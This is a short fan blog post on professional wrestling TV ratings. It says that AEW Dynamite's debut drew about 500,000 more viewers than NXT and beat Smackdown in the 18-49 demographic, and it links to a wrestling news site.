And it was a squash.https://wrestlingrumors.net/tommyhall/wow-aew-dynamites-ratings-viewership-numbers-hit-park-smash-nxt-setting-record/

AEW walloped NXT by about 500,000 viewers, plus beat last week’s Smackdown in the 18-49 demographic.  That’s WAY beyond what any reasonable expectations could have been and will keep TNT happy for a long, long time.

It was a great case of everything coming together well and while there is room for improvement on AEW, I’m not sure how much better it could have gone.  As I’ll say about anything though: well done.  Now do it again, but better.
